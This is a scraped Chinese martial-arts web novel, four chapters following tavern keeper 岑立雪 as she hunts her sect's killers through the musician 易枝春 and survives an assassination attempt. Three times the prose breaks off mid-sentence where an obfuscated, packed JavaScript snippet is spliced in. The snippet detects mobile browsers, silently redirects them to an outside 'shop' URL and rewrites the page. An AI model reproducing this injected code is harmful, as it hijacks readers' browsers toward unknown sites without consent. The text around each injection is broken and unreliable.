《她在酒肆听风云》 1. 六出云韶（一） 午后日光斜泼进六出酒肆，将浮尘濯成金粉。堂内人声鼎沸，酒气裹着汗酸蹿腾，恰是一天中最热闹的光景。 岑立雪忙于理账，指下算珠疾走。她一身半旧青布裙，发髻松松挽就，惟缀一根寻常木簪。落在旁人眼里，自是个爽利掌柜。 变故生于瞬息。 临窗，满脸横肉的疤脸汉子猛一掀桌。杯盘碗盏哐啷碎裂，酒水四溅。 “我呸！敢往老子酒里掺水？” 邻座几个地痞应声而起，抽凳的抽凳，撸袖的撸袖。熟客们倒不惊惧，纷纷端碗后撤，腾出场地之余，眼底俱是看热闹的兴味。 岑立雪不急于抬眼，只将指尖算珠“啪”地归位。她顺手抄起桌上抹布，提步上前：“这位客官，火气别这么大啊。” “街坊四邻都清楚，我六出向来童叟无欺。许是客官方才喝得急，没咂摸出后味？” 岑立雪嗓音清亮，带着市井特有的圆滑。此言一出，如同滚油里潲进一滴水，霎时燎怒了汉子的疤脸。 他见岑立雪是女子，蒲扇大手狠狠扬起，愈发嚣张：“今儿个不赔个十两八两，老子非砸了你这破店不可！” 岑立雪脚下故作趔趄，朝前一栽。手中油腻抹布随她一甩，恰搭进汉子臂弯。 轻飘飘的布料一搭上去，竟似生根。转眼间，汉子整条胳膊蓦地一沉，如遭铁锤砸中，酸麻立时蹿满了肩颈。 他“嗷”一嗓子，逃也似的撤回步子，惊疑不定地瞪着岑立雪。 岑立雪站稳身子，面上后怕不似作伪：“哎呦，可是吓坏我了！” “都怨伙计不得力，地滑得很。客官，您可得仔细脚下。”她说着就弯下腰，顺着歉疚态势拾起几块碎瓷，背过手，指尖轻轻一弹。 瓷屑骤然飞出，打在另个地痞膝弯穴道上。他正欲掀翻邻桌，而今腿一软，噗通跪倒在地，引来一阵哄笑。 “吵什么吵！谁在这儿闹事？”门口暗了暗，看客们让出过道，几个佩刀官差闯了进来。为首的王捕头眼风一扫，便落在疤脸汉子身上，眉头当即皱起：“张老疤，又是你？” 岑立雪忙迎上去，脸上堆起十足无奈：“王捕头，您可来了！” “几位客官喝多了，起了点小冲突，”她应答间，一小坛玉冰烧已塞进王捕头手里，“天热，兄弟们辛苦，解解渴。” 王捕头掂了掂酒坛，面色稍霁，瞪向张老疤：“还不快滚，等着老子请你回衙门喝茶？” 张老疤揉着酸麻手臂，狠狠剜了岑立雪一眼，终究不敢触官差霉头，悻悻领着手下走了。 风波就此止歇。 岑立雪指挥着伙计收拾狼藉，又朝四方抱拳道：“诸位受惊了！今儿个在座的，每桌奉送酱牛肉一碟，算我岑立雪给大家压惊！” 堂内叫好声连成片，顺着房檐冲上天去。 * 忙过这一遭，日头已西斜。酒客渐稀，岑立雪方得空倚在柜边，慢悠悠数着路过的鸟雀。 货郎陈义挑着担子晃悠进来，寻了个角落坐下，照例喊来店里最深的碗。他是泮安城的包打听，自打岑立雪放出“趣闻换酒”的消息，便成了六出酒肆的常客。 岑立雪拎了坛温好的雪涧香过去，替他斟满：“陈叔，今儿个怎来得这样晚。” 陈义咧嘴一乐，双手捧碗：“哎，谢谢岑掌柜！我是被一桩奇事绊了脚步。” “哦？”岑立雪续了酒便坐在他身旁。 “您可还记得快刀刘？他在城外栽了，胸口叫人使刀捅了个对穿。今儿个仵作验尸，他那伤啊，着实奇异。” “刀伤不都一副样子，何来奇异之说？” “寻常刀剑所致伤口，要么齐整，要么无状豁开，”老陈来了谈兴，比划着，“快刀刘身上那豁口，形如鱼尾，断不是常人所为！” 坛身映出岑立雪平和神色，她轻咳一声，语调里捎上畏惧：“好古怪的伤，听着就骇人。刘掌柜为人还算本分，不知是得罪了哪路煞星。” “谁又晓得呢，”陈义摇摇头，忽又一顿，“掌柜且慢，若是谈怪伤，我倒又想起一桩旧闻。” “可有些年头了，那时候，您这六出还没开张。” “出事的是岐黄世家，南氏。从前南氏时常沿街行医，仲秋却忽地没了声息。起初大伙猜他们去往边地义诊，谁料年根还不曾回来。” 岑立雪应声：“陈年旧事，我倒从未听闻。陈叔，后来，这南氏如何了？” “有好事的往南府门前凑，嚯，馊臭气冲得人能栽一跟头。南家老爷的尸首独个陈在院里，其余人皆被砍得稀碎，连模样都认不得了。” “那时，我有表亲在义庄帮忙。他私下同我讲，南家老爷心口伤势，如螺翻卷，深可见骨。” 衣摆被攥进掌心，岑立雪指节泛出青白。她肩头一颤，垂了眼，借着擦拭桌案掩去眼底翻涌：“螺……天大的案子，不知是何时告破的？” “尚未！”陈义叹口气，“南氏一脉牵扯众多，上头早放了风不可妄议，是以不曾同您谈起。今儿个我也是喝得发昏，岑掌柜听过一耳朵也就算了，莫要同旁人议论。” 雪涧香见了底，岑立雪起身为陈义满上。货郎一拱手，又借着酒劲儿多嘴道：“您莫要惊慌，凶手既未归案，想来上头也不曾搁下。” “薛知府常以重金求南氏旧物，药渣印信来者不拒，出的价钱，这个数！” 他伸出五根手指晃了晃。 岑立雪挑眉，适时惊而羡之：“不知是谁有缘交得好运。薛知府既出此举，许是仍在追查南氏一案。不知可有眉目？” “这就不是我货郎陈晓得的了，”陈义嘿嘿一笑，将碗中雪涧香一饮而尽，“六出酒肆迎来送往，又有几个能见着薛知府的。罢了，岑掌柜，我得往回赶喽！” 送走陈义，岑立雪坐在原处，半晌未动。 血肉翻卷如螺……岑立雪轻轻阖上眼睛，若干张了无生气的肿胀面目浮起来，令她喉头发苦。 是了，岑立雪一众师长同门，尸首便遍布螺状伤痕。凶手极其狠厉，无锋门上下，除却她因故外出，无一生还。 在这泮安城待了这样久，为寻真凶，岑立雪听过太多是非。她从来只顾着盯准当下，怎就忘了探知往事呢？ 清泪蓄在眼眶，未及沿颊滚落，便被岑立雪以指腹碾去。 踏破铁鞋无觅处，她合该为横死的快刀刘斟一碗酒。老街坊去得惨烈，阴差阳错间，却为她引了门径，找见歹人的行迹。 机不可失。 堂外灯火初上，映得岑立雪面容明明暗暗。她缓慢起身，往后厨去包了些酱牛肉。 途经灶下，见帮厨孤女费力搬动酒坛，岑立雪顺手一托，又自案上拈了几片肉递去：“力气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823576|191059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小，便多吃些。” 未应其道谢，岑立雪便朝对街当铺走去。 * 四海当铺门脸不大，夜幕初垂，柜上只点一盏昏黄油灯。赵掌柜脸颊枯瘦，大半浸在晦暗里。 岑立雪提着油纸包，熟门熟路绕过当柜，将红肉放在里间小几上。 “赵掌柜，还没歇下罢。立雪给您带了些下酒物什。”她爽朗一笑。 赵青卿掀了掀眼皮，鼻翼微动：“六出酱牛肉，卤汁里添了丁香肉桂，火候足。你这丫头，无事不登三宝殿。” 话虽如此，赵青卿还是起身取了壶酒，并两个杯子：“比不上六出窖藏，喝个热闹。” 二人熟识已久，赵青卿从不沾六出半滴酒，只酱牛肉能讨她欢心。岑立雪不多客气，在她一旁坐下，自顾自斟了一杯。 酒是寻常的烧刀子，烈得呛喉，直直灼进肺腑。 “赵掌柜慧心，”岑立雪轻呷一口，“的确有事想要请教。您见多识广，可晓得咱们那位薛知府，平日有何喜好？” “立雪也不绕弯子了。寻常百姓若想见他一面，该走哪条门路？” 细细咀嚼过牛肉，赵青卿浑浊老眼瞥向岑立雪：“薛启岩？哼，你这丫头，打听他做什么？” 烛火噼啪一响。 岑立雪垂下眼帘，盯着杯中酒水晃荡，噙了笑搭腔：“您也知道，我那六出酒肆，做的就是迎来送往的生意。若能得薛大人青眼，哪怕只他府上采办随手一指，也够我吃用不尽了。” “这可是尊大佛。我等升斗小民，连庙门朝哪边开都不晓得。” “薛启岩此人，不贪财，不好色，”赵掌柜饮尽一杯烧刀子，方才慢条斯理道，“唯二的嗜好，便是品茗与听曲。尤其痴迷古琴，视若性命。” 她顿了顿，目光似有深意：“他每月休沐，都要去往云韶府，且只听里头清倌易枝春的曲子。据说，只有易大家的琴音，能入他耳，能解他忧。” 易枝春。 这个名号，岑立雪并非头回听闻。云韶府头牌，一曲千金，风流名动泮安城。只是她自师门被灭，便终日睡在血海深仇里，从不曾向花前月下投去一眼，也就无缘得见易大家。 “清倌……”岑立雪眸中闪过犹疑。风月场中，真假难辨，如何能倚为桥梁？ “莫要小看了这易枝春，”赵掌柜仿佛看穿了她的心思，悠悠道，“他并非寻常伶人。琴棋书画俱佳不说，更难得的是心思玲珑。周旋于王公贵族之间，却能片叶不沾身。” “薛启岩对他颇为赏识，常召入雅间，单独论琴，一谈便是数个时辰。可以说，若想接近薛启岩，易枝春是最好攀扶的梯子。” 那便非攀不可了。 岑立雪握紧酒杯。师门惨状犹在眼前，仇恨远远烈过烧刀子，无时无刻不燎烧着她的脏腑。 她仰起头，将杯中残酒一饮而尽。搁下杯盏，岑立雪神色已平静如常：“多谢赵掌柜指点。肉您慢用，酒肆里还有事，我先回去了。” 跨过当铺门槛，夜风扑面，挟着泮安城夜晚的喧嚣。 岑立雪站在街心，抬眼望向城西。那便是云韶府了，灯火璀璨，笙歌隐隐，是与六出酒肆或四海当铺截然不同的浮华地界。 岑立雪微微眯起眼，迎着光火吐出一口浊气，唇边笑意浅淡。 “易大家，且让我会一会你。” 2. 六出云韶（二） 次日晌午，岑立雪拎着酒坛，立在云韶府阶前。 她换了身藕荷外袍，发间依旧插木簪，只在腰际添一对红玉禁步。既不失礼，也不过分招摇。 递上拜帖，岑立雪称，六出掌柜前来为易大家荐新酿。门房通传进去，并未如何刁难，抱过拳就将她带进府里。 穿过几重庭院，丝竹之声渐稠。雕梁画栋间轻纱曼舞，假山流水畔倚着秾丽佳人，脂粉甜香糅杂，缠得人喉头发紧。 领路的换过几回，岑立雪终是在一处僻静楼阁前停下，高挑侍女低声道：“易大家尚在阳春阁抚琴，请岑掌柜稍候。” 岑立雪颔首，挥退侍女，独个等在廊下。阁内幽暗，借着窗外天光，依稀可见屏风后一端坐抚琴的人影。 琴声流泻，初时如幽泉滴落，泠泠清清。倏而一转，竟带出几分金戈铁马的杀伐之意，弦音铮铮，似有铁骑踏沙而来。饶是岑立雪素来不慕此道，也不由得凝神细听。 一记急促弹拨后，琴音骤止。余韵盘桓，如刃悬于颈，锋芒未敛。 “来者可是岑掌柜？”问询自内传来，清越中犹带慵懒，倒是同琴音不甚相似。 岑立雪定了定神：“六出酒肆岑立雪，特来为易大家奉上新酿霜三尺。” “请进。” 推开阁门，岑立雪迈步而入。日头不知何时合进云里，阁中陈设莫辨，只屏风后一点微光。她阖目适应片刻，再睁眼，方看清软榻上倚着一人。 青年男子一袭月白衣袍，长发未簪未冠，流水般披泻，衬得面目清俊瘦削。他指尖虚按琴弦，抬眼望来，眸色浅淡如水，半是疏离半含情，唇畔笑意似有还无，风流之态可谓天成。 想来便是易枝春了。 “岑掌柜，”易枝春起身，步履从容绕过屏风，目光在岑立雪面上一转，落在她手中酒坛上，“六出酒肆名动泮安，小可早有听闻，有劳您拨冗跑这一趟。” 岑立雪将酒坛置于案上，笑容爽利：“易大家言重了。” “小店新酿霜三尺，取檐瓦霜融水，浸没麦黍，辅以山间花果。立雪念此酒清冽，非知音不可品其妙处，听闻易大家琴技冠绝泮安，或能与之相和，这才冒昧前来。” 易枝春接过酒坛，凑近鼻端轻嗅。他垂下眼，长睫忽闪，神情专注。 “酒气清寒，隐有梅骨竹韵，”易枝春抬起头，眸中闪过讶异，随即化为笑意，“果然是好酒。只是——” 他话锋一转，看向岑立雪：“这霜三尺，似乎还添了一味宁心草？此物虽可静气凝神，但极难把控分量，多一分则涩，少一分则浮。岑掌柜好高明的手艺。” 岑立雪心头一凛。宁心草酿酒乃是无锋门秘方，压制躁动内息再好不过。她从前也曾将此物掺入酒水，然寻常酒客只觉饮后心神安宁，从未有人道破其中关窍。 这易枝春尚未啜饮，嗅闻便有所觉察。可见非但懂酒，更通药性。 她面上不动声色：“易大家果真不凡，竟品出了这一味。不过是家传的土法子，登不得大雅之堂，让您见笑了。” “岑掌柜过谦了。”易枝春手执早已备好的玉杯，亲自斟上两回。 酒液澄澈，甘醇扑鼻。他将一杯递予岑立雪，抬臂间袍袖滑落，正露出手腕内侧一浅淡疤痕。 岑立雪心中暗暗记下，目光则不作停留。她接过酒杯，指尖与易枝春一触即离。 “请。” “易大家请。” 二人对饮一杯。酒液入口，一股凉意自喉间下沉，旋即化作融融暖意散入四肢百骸，令人心神为之一静。 “好酒，”易枝春赞罢，搁下酒杯，转向案上瑶琴，“酒已尝过，掌柜既言此酒需与琴音相和，不知可否品评小可方才所奏《破阵》？” 岑立雪微微颔首。只见琴身古拙，尾端略有焦黑，想来正是赫赫有名的焦尾。易枝春似是无意，道罢“请”便点燃了琴案一角的香炉。青烟袅袅浮起，其味清苦，与俗香迥异。 断续藤？ 岑立雪一惊，此物性极寒，通常只用以化解烈性热毒，且千金难求。一个清倌，为何会在阁中燃此异香？ 她心念立动，内力暗转，抵御断续藤寒意侵袭之间，不免泄出些许气息。岑立雪即刻收敛，只作浑然未觉：“易大家琴技高妙，立雪一介粗人，哪里懂得品评？” “只觉得不是寻常绵软调子，倒像是……两军对垒前的战鼓，听得人心口发紧。” 易枝春拂袖灭了香，绝口不提断续藤，却抚着琴弦轻笑：“岑掌柜虽自谦粗人，然‘心口发紧’四字，却比附庸风雅之辈更近曲中真意。” 霜三尺再被满上，易枝春行礼后饮尽杯中酒：“听闻掌柜经营酒肆，迎来送往，甚是辛劳。观您手上积茧，倒不似操持算盘酒坛所致。” 岑立雪一怔，呵，易枝春此人倒是不吝试探。她手上茧子乃常年握剑所致，虽着意隐藏，细看仍与劳作积茧不同。她将手揣回袖中，双颊浮起赧色：“易大家好眼力。” “不瞒您说，家父早年跑镖，立雪幼时也跟着学了粗浅拳脚，舞过棍棒。后来家道中落，这才开了酒肆谋生。茧子是彼时所留，让您见笑了。” 将缘由推给亡故的跑镖父亲，合情合理。 易枝春闻言，不再深究，只意味深长地“哦”了一声：“原来如此。掌柜亦是江湖儿女，失敬。” 二人又闲谈几句，皆是围绕酒与琴，言语间机锋暗藏，却无人点破。易枝春称赞岑立雪的酒别有乾坤，岑立雪便品评他的琴音暗含风骨，觥筹交错，却令岑立雪回想起无锋门中切磋来。 刀剑相交，以验功力，不过如是。 眼见时机差不多，岑立雪拧起眉，面露惋惜道：“可惜了。” “可惜什么？” “可惜霜三尺，性至寒，韵至清。易大家方才那曲《破阵》，杀伐之气过重，刚猛有余，却未能尽显此酒的绵长回甘。” 她望向易枝春，眸光清亮：“立雪家中恰有一张古琴残谱，名曰《洗练》，曲调空灵，正合此酒意境。若易大家不弃，三日后立雪携谱再来，请您抚琴一试，或能真正酒曲相和，臻至化境。” 易枝春把玩着空酒杯，指尖游移，似在思索。片刻后，他抬起头，眼中玩世不恭笑意更深，也愈发难以捉摸。 “掌柜盛情相邀，若再推辞，便是不解风情了，”他应下邀约，“好，三日后，小可静候掌柜佳音。” “如此，立雪告辞。” 岑立雪敛衽一礼，旋即提起空酒坛，转身跟从侍女离去。她步态从容如旧，仿佛只是寻常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823577|191059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 品酒会友。 引路的仍是那高挑侍女。二人默然行至穿廊，玉兰初绽，幽芬暗渡。侍女停下步子，含笑为岑立雪拂开径前的花枝。 “岑掌柜的酒，当真不凡，”侍女轻柔开口，“前些日子，大家偶得贵肆雪涧香，品过又命人沽了几回，想来格外合心。今日听闻您亲至，大家亦叮嘱我等，莫要怠慢。” 岑立雪心下恍然，原来如此。 怪不得入府一路畅行无阻，直抵阳春阁外。她只当云韶府待客礼数周全，未曾想，实因易枝春早有吩咐。 岑立雪莞尔回应：“得易大家青眼，是小店荣幸。” 侍女抿唇一笑，不再多言，提了几步专心引路。日光透过雕花槅扇，斑驳摇晃，岑立雪随在其后，思量更深。 云韶府的侍女，必不是天真烂漫的性子。这番赞誉……究竟是随口溜须，还是早就得了易枝春授意？ 不待理出头绪，二人已至府门。侍女侧身让开，恭谨作别。 * 出了云韶府地界，傍晚凉风拂面而来，刮去岑立雪心头滞涩。 她并未急于归返酒肆，而是沿着街市行走。信步之下，岑立雪只觉耳畔叫卖如隔重纱，脑海时有一月白身影簌簌流转。 易枝春其人，绝不只是曲动泮安这般简单。 焦尾琴虽价值连城，姑且能够算作他云韶府底蕴。可断续藤此物珍稀，有价无市，寒意之盛足以令寻常百姓退避。 饶是岑立雪内力深厚，尚且有所忌惮。一个风月场中的清倌，为何会将此异香陈至身畔？ 是易枝春从前中过剧毒，需以此压制，还是他精于此道，燃香本就是为阻拦不速之客？ 千头万绪，纷乱如麻。岑立雪轻叹，以残谱为饵，约下三日之期，是一步险棋。 易枝春已对她起疑，往后再想探听什么，怕是难上加难。然而，唯有继续接近此人，方有机会拜会薛知府，知晓其于南氏乃至师门血案之洞见。 心念既定，岑立雪折向城西旧书市。她自幼习剑，家里哪里有什么曲谱。所谓《洗练》不过托辞，而旧书市鱼龙混杂，或有一线机缘。 岑立雪走走停停，翻拣半晌，入目多是些话本传奇科举时文，并无琴谱踪迹。正欲离开，她余光扫见街角一简陋书摊，摊主蜷缩打盹，身前只一块破布，上头搁着几册旧书。 其中一册，封面尽失，纸页焦黄，边角虫蛀，隐约可见内页字迹，正是墨笔勾勒的减字谱。 岑立雪蹲下身拾起残谱，她虽不通音律，但幼时长在无锋门，也曾见师长月下抚琴。耳濡目染，依稀觉出此谱透着山野自然的清寂之气。 “老丈，此谱何名？” 老者木然抬眼，沙哑道：“不晓得。家里灶下拣出来引火的玩意，看着有些年头，姑娘若要，十个铜子拿走。” 岑立雪取出钱袋，数了铜子放在老者面前，将残谱收入怀中：“多谢老丈。” 它便是《洗练》了。 觅得琴谱，岑立雪不再游逛，转身即往六出酒肆去。 霞光抻了她身影，于青石板上拖得细长。岑立雪步履匆匆，思绪不时掠过无锋门同僚染血面容，与易枝春那双似笑非笑的眼。 为早日觅得真相，纵前路凶险，她也要闯上一闯。 3. 六出云韶（三） 三日之期，不过弹指。 岑立雪再入云韶府时，已将《洗练》以青布妥帖裹严。天色阴沉，云脚低低压檐，令这处繁华销金窟少了几分浮艳，多了些风雨欲来的沉郁。 侍女将她引至阳春阁，岑立雪本暗自防备，见香炉所燃不过寻常檀香，心下稍安。 易枝春一身天青直裰，风姿清举，眉宇间笑意依旧，待岑立雪进来，从容起身见礼。 “岑掌柜果真守信。”他微一颔首，示意岑立雪落座。 案上已备好茶点，并一壶酒。正是她上回带来的霜三尺。 “易大家赏光应约，立雪自当从速前来，”岑立雪解开布包，将残破琴谱摊在案上，“这便是《洗练》了。” “家中长辈偶然得之，惜乎不全。立雪不通音律，留在手中也是蒙尘，今日便借花献佛，还请易大家品鉴。” 易枝春敛容，指尖轻轻拂过减字谱，神色添上郑重：“确是古物，这纸张墨色，非近百年所能仿制。” “岑掌柜家学渊源，令人惊叹。” 岑立雪垂眸斟酒，压下唇角：“不过是祖上偶得，当不得家学二字。” “易大家请。” 易枝春不再多言，目光在残谱上流连片刻，随即屏息凝神，指尖落于琴弦。 琴音清越空灵，潺潺而出。初时如幽谷泉鸣，泠泠淙淙，洗涤尘虑。继而转为奇崛，如有怪石嶙峋，山路崎岖不得攀登。 岑立雪微微一笑。此曲空寂，还真与霜三尺格外契合。残谱免于填灶，也算物得其所。 酒液入喉，凛冽之感随琴音游走于四肢百骸，直透灵台。 一曲终了，余音绕梁。 岑立雪抚掌，真心赞道：“易大家琴技通神，《洗练》经您演绎，方得其真味。只是……” 她话锋微顿，似在斟酌：“此曲中段，隐有抑郁不平之气。虽由空灵遮掩，却如冰下暗流，锐利难当。” “不知是谱曲者原意，还是易大家心有块垒，寄情于弦？” “掌柜说自己不通音律，倒是愚弄易某了。我看掌柜不仅通，而且精。”易枝春声如春水。 “《洗练》谱中暗藏金石之音，极难捕捉，竟被掌柜一语道破。” 他执起酒杯，轻啜一口：“便如掌柜这酒，初品清冽宜人，再品方知宁心草后劲，绵长深远。” “看似平和，内里却藏有难折筋骨……非寻常烈酒可比。” 此言明是评酒论曲，暗里却似在说岑立雪其人。岑立雪一时警醒，面上却只作不解风情，顺着话头笑道：“易大家谬赞。立雪不过是个卖酒的，哪里懂这深奥道理。只觉得曲子好听，酒也好喝罢了。” 既得铺垫，她顺势将话头一引：“前些日子听酒客闲谈，道薛知府亦是爱琴之人，尤擅品鉴古曲风骨。若薛知府得闻易大家妙音，想必更是相得益彰。” 岑立雪望向易枝春，神色坦然，只当随口一提泮安雅事。 “或许罢，”易枝春漫不经心地拨弄着琴弦，短促清响间慵懒搭腔，“薛大人确是知音。只可惜近来公务繁忙，少有闲暇听曲。” “岑掌柜似乎对薛大人颇为留心。” “泮安城谁人不识薛知府？”岑立雪应对自如，“何况，做我们这行当的，自然要多着意些贵人们的喜好。说不定哪天，知府大人就心血来潮，想尝尝小店的霜三尺呢。” 二人你来我往，言语间机锋更盛。或以曲探问，或借酒藏真，看似风雅闲谈，实则每一句都暗含试探之意。 不等岑立雪追问，阁外廊下忽然传来一阵急促脚步，夹杂侍女惊慌低呼：“你们是什么人？此处是易大家的——” 话音未落，阳春阁门遭巨力“嘭”一声撞开，轰然砸落。 几名杂役打扮的汉子闯了进来，他们步履无声，神色冷硬得如出一辙，转瞬便盯准了琴案后的易枝春。 为首一人眼神阴鸷，他右手自腰间一抹，寒光便如蛇信吐出，竟是柄细长软剑。此人招式狠辣身法迅捷，直朝易枝春胸口扑来。 变生肘腋。 易枝春面色一沉，却不见丝毫慌乱。他施施然向后一仰，宽大袖袍顺势拂过琴案，将昨日那只燃过断续藤的香炉带倒。 香炉骨碌碌翻滚，灼热香灰泼洒而出，领着清苦气息，劈头盖脸朝那持剑杀手泼去。 大汉躲闪不及，香灰迷眼之际，便如坠三九冰窟，再起不能。旁的杀手见状，即刻自两侧包抄而来。二人挥拳击向易枝春面门，另一个则无声绕后，袖口露出一截乌黑钢刺。 眼看易枝春便要避无可避。 千钧一发之际，自大汉破门便躲往暗处的岑立雪探出身来。她佯装被变故吓呆，手一抖，未喝尽的霜三尺便连着酒杯脱手飞出，不偏不倚，正砸在绕后杀手的腰窝。 酒杯碎裂，霜三尺洒了满地。只见那杀手吃痛，身形一个趔趄，钢刺便偏了方向，堪堪擦过易枝春臂膀，划破了外层衣衫。 与此同时，岑立雪再伪惊慌之态，整个人向后激退，手臂挥舞间，“巧合”撞翻了身旁红木花架。沉重木料携着其上白瓷花瓶，噼里啪啦，直砸向朝易枝春挥拳的两个大汉。 说时迟那时快，只见大汉松开衣襟，一点乌光直取岑立雪面门。破空声倏尔掠过，岑立雪来不及思索，就着花架遮掩旋身闪避，此物掠过鬓发，深深钉入她身后梁柱。 过招不过电光石火，杀手合围之势就此打乱。 易枝春得了片刻喘息，眼中寒芒不减。他并未起身，而是就着后仰态势，指尖在琴弦上猛地一划。 “铮——！” 裂帛锐响骤然爆开，奇异韵律刺得人耳膜生疼。杀手们皆是一僵，面露痛苦。 趁此机会，易枝春袖中滑出几枚玉质棋子，指尖连弹。棋子出手，无声无息，可岑立雪看得分明，它们正打在杀手的颈侧穴道上。 杀手闷哼一声，眼里满是难以置信，终究瘫软倒地，再无声息。 阳春阁重归寂静，只余满地狼藉。酒香与血腥混在一处，隐隐又有断续藤的清苦气味向上攀升。 岑立雪扶起翻倒花架，凭内力将面色转为苍白，心有余悸道：“易……易大家……这是怎么回事？” 易枝春缓缓站直身子，理了理微乱的直裰。他不答话，先探过昏迷在地的杀手，确认其再起不能，才转向岑立雪。那双总是含笑的眼睛此刻深邃如潭，细细打量着岑立雪，仿佛要将她从头看穿。 “不过是些宵小之辈，惊扰岑掌柜了，”他一拱手，“小可还要多谢掌柜，倾力相助。” 他特意在“倾力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823578|191059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”二字上重重一顿。 岑立雪垂下眼睫，避开易枝春探究目光：“易大家没事就好，从前的招式，我都忘得差不多了，实在手忙脚乱。” 易枝春不再追问，只行至岑立雪身前，从袖中拎出一白玉盒，拭过灰尘才递给她：“碧凝膏，取雪岭灵芝合三七所制，于跌打损伤颇有奇效，兼可安神，掌柜方才受惊，或许用得上。” 他又将腰间青玉牌摘下，放入岑立雪手中：“此乃云韶府通行玉牌，今日岑掌柜出手相救，便是易某恩人。持有此物，日后往来会方便些。” “今日之事，还请掌柜暂且保密。” 他指尖冰凉，触及岑立雪掌心，直叫她想起无锋山顶终年不化的雪。 岑立雪接过两样物什：“多谢易大家，立雪省得。” 她不再多留，敛衽后匆促离去。 既作惊魂未定之态，便不可回头探看。岑立雪行至廊下，恰逢几名云韶府护卫疾步而来，同她擦肩之时，风正捎来只言片语。 “不过月余，怎的又混进了外头的人……哪怕大家不罚，我等也该前去领罪。” * 岑立雪出了云韶府，转过街角，确信无人尾随，才放缓脚步。惊慌之相早已褪去，面颊如今只余沉凝。 她摊开右手。掌心除却玉牌与碧凝膏，还多了一枚长针。 方才于花架后闪避的便是此物。风波平息，岑立雪借着易枝春整理衣摆的空当，忙从梁柱上摘了这枚针。 针体乌黑，尾端暗红纹路蜿蜒盘绕，赫然凑成个狰狞的“开”字。 金开轩！ 此物，是金开轩的独门暗器，索魂针。 江湖传闻，金开轩只认钱财不认苦主。不论目标是皇亲国戚还是江湖巨擘，只要酬金足够，他们没有不敢接的买卖。 因其行事诡秘，下手狠绝，鲜少失手，要价往往一行万金。 请动他们已非易事，此次竟派出四人，足见雇佣者对易枝春怀有必诛之心。依云韶府护卫所言，这甚至还不是易枝春头回遇险。 岑立雪抬起头，天穹阴沉，仿佛要压垮屋脊。云层厚重，少透光亮，正拢她此刻驳杂心绪。易枝春，他一个云韶府清倌，纵使琴技通神，周旋于权贵之间，又何至于招惹此等不死不休的麻烦？ 是他在风月场中，无意窥见了哪位贵人的私隐，还是他皮囊之下，本就揣着令谁寝食难安的秘密？ 岑立雪将索魂针收入贴身衣袋，与玉牌、碧凝膏搁在一处。易枝春姿态做足了十成，灵药及通行令，既是酬谢，也是拉拢。此人心思何其玲珑，帖子已递进她手里，至于究竟上不上这条船，还是她岑立雪说了算。 霞光彻底遭乌云吞噬，天际滚过闷雷。豆大雨点砸落，行人四散，岑立雪却不闪不避。她驻足街市，任由冷雨浇透衣衫，反觉心头燥火稍熄。 这泮安城既允男子称雄，必然也容女子执剑。若是登船，往后惊涛骇浪多得是，风雨又有何惧。 师门血债历历在目，岑立雪清楚，哪怕是搏上这条命，她也定当力报血仇，手刃真凶，令无锋剑道荣光重现于世。 “易枝春，我便应了，”岑立雪在心中默念，“可你招惹的，究竟是哪路鬼神？” “还是说，你本就是局中执棋魑魅？” 4. 六出云韶（四） 雨水渐歇，檐角残滴落上青石。 待岑立雪赶回六出酒肆，伙计们都已睡下，她阖上门扉，只当一腔心事也都被关在外头。 她默然运功，内力如春溪化冻，衣衫上水汽随之蒸腾。不过片刻，岑立雪周身已复干爽，唯余鬓发犹带凉意，贴在颊侧。 易枝春所赠伤药，深浅未知，断不可随意使用。岑立雪叹了口气，行至柜前。暗格跟从她指尖弹开，岑立雪将碧凝膏搁入，犹疑再三，到底还是合上格子，转而将青玉牌握进掌心。 就着案上昏蒙烛光，岑立雪方觉此玉通体无瑕，阴刻云纹流转，绕起一“易”字。奇巧形貌倒真令她想起此物原主，岑立雪唇畔泛起苦笑，易枝春此人心思，正如云纹环廊，一步一景，难以忖度。 搁下玉牌，岑立雪谨慎拈上索魂针尾。针体入手沉实，凑近轻嗅，腥臭气味便钻入口鼻，着实令她齿冷。 金开轩例无虚发。今日阳春阁里，若非她数次搅局，兼之易枝春亦非庸手，孰胜孰负，尚未可知。 至于易枝春拉她入局所求为何……左右心念已定，再思量也不过徒增烦恼。 岑立雪抻来油纸，将索魂针裹了，与青玉牌一并塞回怀里。 恰在此时，前院传来叩门声，伴王捕头呼唤：“岑掌柜，可歇下了？” 岑立雪不应声，待理平衣衫皱褶，方才提了盏羊角灯，步履从容应门。 “王捕头，”她拉开门，“时候不早了，您可是有事寻我？” 王捕头胡髯沾了夜露湿气，疲惫摆手：“无事，我才巡过街，见你这后院似有光亮，便来讨碗酒，驱驱寒。” 